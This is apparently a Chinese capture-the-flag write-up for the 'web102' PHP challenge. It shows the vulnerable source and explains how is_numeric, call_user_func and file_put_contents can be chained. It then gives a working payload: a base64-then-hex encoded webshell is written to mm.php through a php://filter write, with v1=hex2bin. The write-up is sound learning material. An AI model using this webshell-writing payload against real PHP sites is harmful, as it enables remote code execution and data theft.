web102笔记(is_numeric() 函数、call_user_func()函数、纯数字或者数字字符串写shell)
<?php /* # -*- coding: utf-8 -*- # @Author: atao # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-23 20:59:43 */ highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?> Notice: Undefined index: v1 in /var/www/html/index.php on line 14 Notice: Undefined index: v2 in /var/www/html/index.php on line 15 Notice: Undefined index: v3 in /var/www/html/index.php on line 16 hacker
首先继续了解几个函数 is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数 file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
substr($v2,2) 是相当于返回v2[2:]
file_put_contents($v3,$str)是将$str的内容写⼊并保存为$v3(第⼀个参数是⽂件名,第⼆个参数是内容)
这⾥v2和v3都要是数字,substr取v2[2:],v2开头可以是00来作为开头,然后v1(v2[2:])。web100的时候说了等号优先级⽐and⾼,所以v4那⾥满⾜v2是数字即可保证v4为真
v2要保证能写shell,⼜要保证能为数字。
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字
<?php $b = base64_encode('<?=`tac *`;'); $b = str_replace("=","",$b); echo "base64加密后:".$b."\n"; $a = call_user_func('bin2hex',$b); echo "16进制形式:".$a."\n"; var_dump(is_numeric($a)); /*运行结果 base64加密后:PD89YHRhYyAqYDs 16进制形式:504438395948526859794171594473 如果有3d是等号,解码的时候不是很严格,
bool(true) */
说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mm.php post: v1=hex2bin
解着再访问mm.php即可得到flag

浙公网安备 33010602011771号